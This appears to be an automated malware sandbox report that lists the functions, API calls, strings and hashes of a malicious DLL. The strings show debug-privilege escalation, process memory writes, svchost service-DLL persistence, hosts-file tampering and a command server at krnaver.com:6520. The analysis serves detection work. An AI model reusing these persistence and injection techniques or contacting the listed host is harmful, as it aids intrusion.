Function 100014D0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04793060), ref: 100014E6

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 17d20df5874ad623e024423898142ef717f44670455dd5cdfe06f1b52aee7818
Instruction ID: 342590a968157f55c2d3ab9ebc223d1b24caf9f7faf889d873eb8d17b435457b
Opcode Fuzzy Hash: 17d20df5874ad623e024423898142ef717f44670455dd5cdfe06f1b52aee7818
Instruction Fuzzy Hash: D3B092B0D00620CBE6228BA088C840736A4A30C285310C001F828C3229D730C104EB20

Function 10004D10 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32First.KERNEL32(00000000,00000000), ref: 10004D1A

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FirstProcess32
String ID:
API String ID: 2623510744-0
Opcode ID: dab0bdb54be907f82e8721a8c51a438edc5b27b96b71f1468851624b5224a6ea
Instruction ID: 4a178e57590d1581f80c420128f97eb37e1fa546ae14f4cc031d9ed7fbd191d3
Opcode Fuzzy Hash: dab0bdb54be907f82e8721a8c51a438edc5b27b96b71f1468851624b5224a6ea
Instruction Fuzzy Hash: F4B092B5204200ABD204DB10CA84C2BB7A8AB94301B00880CF48A82110C638D840CB21

Function 10001530 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(04791050), ref: 10001546

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f95b7281330f53e51b83d251505e5d4c8391a9795d6745fedcf749dcc6cff959
Instruction ID: c45cdfdface6c957793686aabee11fb230d64d89d0d3144f3a3b95f933cec418
Opcode Fuzzy Hash: f95b7281330f53e51b83d251505e5d4c8391a9795d6745fedcf749dcc6cff959
Instruction Fuzzy Hash: B8B092B4800A20CBEA02CB608C8844B3A64A74C2423108501FA11CB224E730C000AB10

Function 10004D30 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,00000000), ref: 10004D3A

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 37f069475272b6cca200ed683fa83c91152633e7a2abff0d98add4d01afb3790
Instruction ID: 9b545ad83a0b37dc24d19450c7bac0fd9b0d2ef5a906a719aa768e5fc7140905
Opcode Fuzzy Hash: 37f069475272b6cca200ed683fa83c91152633e7a2abff0d98add4d01afb3790
Instruction Fuzzy Hash: 59B09275104200ABD204DB10C984C2BB7A8BB94311B008808F48682110C634D840CB21

Function 10001590 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00FAD050), ref: 100015A6

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 99775dfbb87880e4bad2e2462871a4c66be7bc6980aea6623de9670b3cc732ef
Instruction ID: 7ffba9bd066339d4787a27611a31b7a89ef434844dc809d3f9b6a79886a0edc6
Opcode Fuzzy Hash: 99775dfbb87880e4bad2e2462871a4c66be7bc6980aea6623de9670b3cc732ef
Instruction Fuzzy Hash: 2CB092B0810A20DFFA128B708CC84077664A78C242350C501F811C7224EB30D0049B20

Function 10001620 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00FAA038), ref: 10001636

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e777f6afae9d3202d58511550714f9f27a48f0d8766006cec8ea985c2988ac48
Instruction ID: 1f812e712d3cab51f4f374bbdf571a9b0ab623a7a6a14e70690cdf80dfc874e2
Opcode Fuzzy Hash: e777f6afae9d3202d58511550714f9f27a48f0d8766006cec8ea985c2988ac48
Instruction Fuzzy Hash: A2B092B4800620CBE6128F608C884473764A30C241300C001F820C3234D730C118DF20

Function 100016B0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00FA7020), ref: 100016C6

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b0f384971992b4dd19b9cab97d16758f5ac948bf5790d287ab781d874b916718
Instruction ID: 09ec16cf2d9e3bdd57d5ed2dc7f66b2880ca74239215425a520b4e140e21dc19
Opcode Fuzzy Hash: b0f384971992b4dd19b9cab97d16758f5ac948bf5790d287ab781d874b916718
Instruction Fuzzy Hash: ACB092B4800524CBE602CF608CC840B3BB4B70C2423008681F910C3234E730C010DB50

Function 10001710 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00FA5010), ref: 10001726

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 225bce18757dd5cce8007112facaaac45c45095e69f13463e73d82b4da326c51
Instruction ID: dc149856e3200466590bbbbda67a89e2532640a73b18c85f34583f6dcbb6de78
Opcode Fuzzy Hash: 225bce18757dd5cce8007112facaaac45c45095e69f13463e73d82b4da326c51
Instruction Fuzzy Hash: 81B092B4800661CBE7228B60CCC84073B74A70C281310C141F814C3224D730C0049B60

Function 10004C60 Relevance: 1.5, APIs: 1, Instructions: 4registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,76F90F00), ref: 10004C65

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 87b4abc63f7c11ee671ef59d13ab7966a3af1181e74c4c90e5a4f0655e4d3a45
Instruction ID: 324587ba64b1eb27d8c71780c153f5c959768cd6244882d3e4bfd9b6e5cf7741
Opcode Fuzzy Hash: 87b4abc63f7c11ee671ef59d13ab7966a3af1181e74c4c90e5a4f0655e4d3a45
Instruction Fuzzy Hash: A5A002F5A04610EBDE00DBA5DB8C80A77E8AB85712B408888F14AC2455C638D840DB11

Function 10004890 Relevance: 1.5, APIs: 1, Instructions: 4networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32(?), ref: 10004895

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: gethostbyname
String ID:
API String ID: 930432418-0
Opcode ID: b5d8a14b03fe9db19237598d9552cf8800089184801dc95bac423a48275794e4
Instruction ID: db6d4a7ea73a3d767f21df7007ec03039420695e885c3d167e48be02809e56a4
Opcode Fuzzy Hash: b5d8a14b03fe9db19237598d9552cf8800089184801dc95bac423a48275794e4
Instruction Fuzzy Hash: 38A002B5F04210ABDE01DBB5CB8C80AB7E9AB85701B008844F149C2011CB3CF844DB51

Function 10004A10 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(?,1000BB9A,c:\ftelcs\ReadMe.txt,SeDebugPrivilege,00000001), ref: 10004A15

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 4bbad5ab16995371096bde7755bc95acc338574ad108aac2567f583ec3db0265
Instruction ID: be8fa86e2b3c3084ed518b5d3cbcd735743b859ae6c17e166df457072468833b
Opcode Fuzzy Hash: 4bbad5ab16995371096bde7755bc95acc338574ad108aac2567f583ec3db0265
Instruction Fuzzy Hash: D9A002B5A04210EBDE00DBA5CB8C80A77E8AB85711B008884F149C2055C678DC40DB11

Function 10004B30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(10019D40,1000B666,10019D40), ref: 10004B35

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: aeb22b0332fafab832228ff067b8308e6df5fd7f8217359b3bcfdca3a9fa2824
Instruction ID: 904e3489c634dae361026f73cd365cfbe34bcbc277f6c4ad4452f4da7be1815b
Opcode Fuzzy Hash: aeb22b0332fafab832228ff067b8308e6df5fd7f8217359b3bcfdca3a9fa2824
Instruction Fuzzy Hash: E2A00275904210ABDE00DBA5CA8C81A77E8BFC6701B00C844F145C3110C674D854DB11

Function 00F3002A Relevance: 1.3, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,?,00004000), ref: 00F300BE

Memory Dump Source

Source File: 00000006.00000002.3803214756.0000000000F30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction ID: 4228a0cc2fe9d91653ce6cdafcaba5fc4319e7f3bac4cf75caddf107112c022a
Opcode Fuzzy Hash: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction Fuzzy Hash: 41F02EA354A3117DF618B7347C65B27BB98DF43331F150DA7EC41D6092DD15D802A6E4

Non-executed Functions

Function 100060E0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 1000615E
strncpy.MSVCRT ref: 10006175
strncpy.MSVCRT ref: 1000617F
GetSystemInfo.KERNEL32(?), ref: 10006189
GetCurrentProcess.KERNEL32(00000020,?), ref: 100061AA
OpenProcessToken.ADVAPI32(00000000), ref: 100061B1
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 100061C2
AdjustTokenPrivileges.ADVAPI32 ref: 100061F7
CloseHandle.KERNEL32(00000010), ref: 10006202
sscanf.MSVCRT ref: 1000622D

Strings

%[^, xrefs: 10006223
SeDebugPrivilege, xrefs: 100061BC
c:\ftelcs, xrefs: 10006154
etc\hosts, xrefs: 10006208, 10006228

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessTokenstrncpy$AdjustCloseCurrentHandleInfoLookupOpenPrivilegePrivilegesSystemValuesscanfstrrchr
String ID: %[^$SeDebugPrivilege$c:\ftelcs$etc\hosts
API String ID: 3677170833-2241817278
Opcode ID: 766fc4c91f3afb022d82f0411d261274f1b7f6a8cc47e5443cc1c5075a28d2e0
Instruction ID: cdf063d2dc35dfdd6761936bd61a376c098a1b861acc190fde3f69951cd82382
Opcode Fuzzy Hash: 766fc4c91f3afb022d82f0411d261274f1b7f6a8cc47e5443cc1c5075a28d2e0
Instruction Fuzzy Hash: 59314DB4504360AFE314DF65CDC9A5BBBE8FB8A310F40851EF655872A1D7B4D484CB22

Function 10005A10 Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 473COMMON

Download Yara Rule

APIs

wcscat.MSVCRT ref: 10005B73
InterlockedDecrement.KERNEL32(00000008), ref: 10005E38
_strcmpi.MSVCRT ref: 10005E55
InterlockedDecrement.KERNEL32(00000008), ref: 10005F59

Strings

Name, xrefs: 10005D04
WQL, xrefs: 10005C19, 10005C2F
CommandLine, xrefs: 10005D1B
svchost.exe -k NetworkService, xrefs: 10005F73
svchost.exe, xrefs: 10005E4F
SELECT * FROM , xrefs: 10005B43
ProcessID, xrefs: 10005D32

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DecrementInterlocked$_strcmpiwcscat
String ID: CommandLine$Name$ProcessID$SELECT * FROM $WQL$svchost.exe$svchost.exe -k NetworkService
API String ID: 1133782235-2685825574
Opcode ID: 81061a4a8877450d9953acb6a68e8a364d5bf9f7be26c08b031fa8b21c164d1e
Instruction ID: 6e287e9f31d80ddeef40d71180199f244c4fab3bb8e43f45771c3167a968cc53
Opcode Fuzzy Hash: 81061a4a8877450d9953acb6a68e8a364d5bf9f7be26c08b031fa8b21c164d1e
Instruction Fuzzy Hash: 7702E5715043469FE720DF64C880AAFB7E9FB88394F008A2DF5999B280DB75DD85CB52

Function 10006C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 10006C82
sprintf.MSVCRT ref: 10006DA6

Strings

2008, xrefs: 10006D4F
Win %s SP%d, xrefs: 10006DA0
Vista, xrefs: 10006D22
2003, xrefs: 10006D0B
2000, xrefs: 10006CDA

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Versionsprintf
String ID: 2000$2003$2008$Vista$Win %s SP%d
API String ID: 1728264858-2264339393
Opcode ID: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction ID: a29b5034d98c82e8cdd23dc3c09a1f19a03f2c0ff95b6a49c00505b641ceb439
Opcode Fuzzy Hash: 58654c30ee2a7e86044c5e4d5daef33a756f752683a767f65627d44affe17baf
Instruction Fuzzy Hash: 353106317043845BF724C524C854A9BB7D7F7C9360FA18B2EEA5AC7384DA74CD098242

Function 100052A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10005333
wsprintfA.USER32 ref: 1000537B
FindNextFileA.KERNEL32(?,?,?,?,?,00000000,?,?,00000000), ref: 100053E8
FindClose.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 100053FB

Strings

\*.*, xrefs: 100052FB
., xrefs: 1000539C
%s\%s, xrefs: 10005375

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$.$\*.*
API String ID: 180737720-2210278135
Opcode ID: 7ae711e90393dddcf603e56f6566a1c76344e8b8096dc20234aff7e6c32f04f1
Instruction ID: 4a8f082e370a774beec3181923ed0c29b1814dc50db52cf211b5320ae6ff64cd
Opcode Fuzzy Hash: 7ae711e90393dddcf603e56f6566a1c76344e8b8096dc20234aff7e6c32f04f1
Instruction Fuzzy Hash: 843117761043445BD328CA74CC45AEBB7D9FBC8360F144F1DF6AA832C1DEB5DA088652

Function 10004B90 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,00000000,100071DE), ref: 10004BAE

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 6918ca5b7ee3fdd7fdd57af262338b3703b36aad1a9c509f7b5eed579482c4b1
Instruction ID: 7aec9a8afb9612b2565e4992fccd33789a9d9f25d87dad6da5c42f08927fd536
Opcode Fuzzy Hash: 6918ca5b7ee3fdd7fdd57af262338b3703b36aad1a9c509f7b5eed579482c4b1
Instruction Fuzzy Hash: 93D0BCB5618342AF9704CF58D994C3BB7E9BBC8600F148D0CB59583254D770E849CB62

Function 100049F0 Relevance: 1.5, APIs: 1, Instructions: 6shutdownCOMMON

Download Yara Rule

APIs

ExitWindowsEx.USER32(?,00000000), ref: 100049FA

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExitWindows
String ID:
API String ID: 1089080001-0
Opcode ID: d9c7e62c82f4d30f92caf57cdc1ee715cd7a3c5a069c5de49ecc06ad1114ff61
Instruction ID: a05cb85966f44a46be1bad41a18f52861b6e79887c5960e28fbbb47f88fe4381
Opcode Fuzzy Hash: d9c7e62c82f4d30f92caf57cdc1ee715cd7a3c5a069c5de49ecc06ad1114ff61
Instruction Fuzzy Hash: ACB012F4204300BFDE04CB50CA84C2B77E8EBCC301F00884CF48982110CA34DC40CB11

Function 10008180 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 270COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 10008270

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 100083AA
ServiceDll, xrefs: 1000835D
SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 1000830D
RegOpenKeyEx(Svchost), xrefs: 100083F4
%SystemRoot%\System32\svchost.exe -k , xrefs: 100081C5
RegSetValueEx(Svchost\krnlsrvc), xrefs: 10008431
SYSTEM\CurrentControlSet\Services\%s, xrefs: 100082B7
RegSetValueEx(ServiceDll), xrefs: 1000837F
Description, xrefs: 100082EB

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID: %SystemRoot%\System32\svchost.exe -k $Description$RegOpenKeyEx(Svchost)$RegSetValueEx(ServiceDll)$RegSetValueEx(Svchost\krnlsrvc)$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost$SYSTEM\CurrentControlSet\Services\%s$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll
API String ID: 1452528299-660433390
Opcode ID: b6460b91ff4555f9262201c81e413c6a0d3e914efe51d2911cf23552081a28e0
Instruction ID: 53f7441aff76953b2d88f4f78352e93fbc22bdf5a514338d65ce7cfd2a42bf55
Opcode Fuzzy Hash: b6460b91ff4555f9262201c81e413c6a0d3e914efe51d2911cf23552081a28e0
Instruction Fuzzy Hash: 3B91A471A00259ABEB14DBA4CC85BEE77E9FB48750F144259FA06A72C0DF749E80CB60

Function 10006380 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 211filesleepinjectionCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006412
wsprintfA.USER32 ref: 10006484
wsprintfA.USER32 ref: 1000649D
CreateDirectoryA.KERNEL32(?,00000000), ref: 100064AC
WriteProcessMemory.KERNEL32(00000000,?,?,00000009,00000000), ref: 100064EA
time.MSVCRT(00000000), ref: 10006507
srand.MSVCRT ref: 1000650E
rand.MSVCRT ref: 10006517
rand.MSVCRT ref: 10006525
rand.MSVCRT ref: 10006533
rand.MSVCRT ref: 10006541
rand.MSVCRT ref: 1000654F
rand.MSVCRT ref: 1000655D
wsprintfA.USER32 ref: 10006575
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 1000658E
CloseHandle.KERNEL32(00000000), ref: 10006595
Sleep.KERNEL32(000003E8), ref: 100065A0
DeleteFileA.KERNEL32(?), ref: 100065AB

Strings

c:\windows\system32\drivers\%s\%s, xrefs: 10006497
%s\%s, xrefs: 1000640B
c:\windows\system32\drivers\etc\%c%c%c.%c%c%c, xrefs: 1000656F
c:\windows\system32\drivers\%s, xrefs: 1000647E

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: rand$wsprintf$CreateFile$CloseDeleteDirectoryHandleMemoryProcessSleepWritesrandtime
String ID: %s\%s$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s$c:\windows\system32\drivers\etc\%c%c%c.%c%c%c
API String ID: 3377497938-1917988604
Opcode ID: aa527d4a18a4aaa306d25193b5c72e572f2e79281c43732195b351378c99ff71
Instruction ID: 38fc729683442f2de153c52376bcce47659d60a47f0b68a34b16a9871db267a9
Opcode Fuzzy Hash: aa527d4a18a4aaa306d25193b5c72e572f2e79281c43732195b351378c99ff71
Instruction Fuzzy Hash: F761C171204345ABE728CB74CD85BDBB7E6EBCC300F048A2CF64997291DB79E6498752

Function 10006AA0 Relevance: 36.8, APIs: 7, Strings: 14, Instructions: 96stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006ACE
GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006AE5
GetModuleFileNameA.KERNEL32(10000000,c:\ftelcs\rjqzr.dll,00000104), ref: 10006AF7
strrchr.MSVCRT ref: 10006B25
wsprintfA.USER32 ref: 10006B3D
wsprintfA.USER32 ref: 10006B4E
wsprintfA.USER32 ref: 10006B5F

Strings

krnaver.com:6520, xrefs: 10006B50
c:\ftelcs\version.txt, xrefs: 10006B49
%s\ReadMe.txt, xrefs: 10006B30
c:\windows\SysWOW64\rundll32.exe, xrefs: 10006ADE
Mkrnaver.com:6520, xrefs: 10006B5A
c:\ftelcs\rjqzr.dll, xrefs: 10006AF1, 10006AF9
c:\ftelcs\ReadMe.txt, xrefs: 10006B35
09161305, xrefs: 10006ABF
ECF4BB45F69D, xrefs: 10006BA5
M%s, xrefs: 10006B55
%s\version.txt, xrefs: 10006B44
09161305.txt, xrefs: 10006AC9
%s.txt, xrefs: 10006AC4
c:\ftelcs, xrefs: 10006B0B, 10006B14, 10006B2B, 10006B3F

Memory Dump Source

Source File: 00000006.00000002.3817571933.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3817538970.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3817618583.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: wsprintf$FileModuleName$strrchr
String ID: %s.txt$%s\ReadMe.txt$%s\version.txt$09161305$09161305.txt$ECF4BB45F69D$M%s$Mkrnaver.com:6520$c:\ftelcs$c:\ftelcs\ReadMe.txt$c:\ftelcs\rjqzr.dll$c:\ftelcs\version.txt$c:\windows\SysWOW64\rundll32.exe$krnaver.com:6520
API String ID: 1444062329-90664482
Opcode ID: cd56bb71b5e34af3bf83d4319db678bda11d80ad42d94f8a2d2da32989abb340
Instruction ID: 732538d88aa81fda7fc38e0d93b527bb5c3b02a2f58effd2b7974e2766805a37
Opcode Fuzzy Hash: cd56bb71b5e34af3bf83d4319db678bda11d80ad42d94f8a2d2da32989abb340
Instruction Fuzzy Hash: 0B21F675600A156FE314EB798C41FAA7AC2FB88360F544618F7269F2C1CFB4D981C654

Function 1000F6F0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

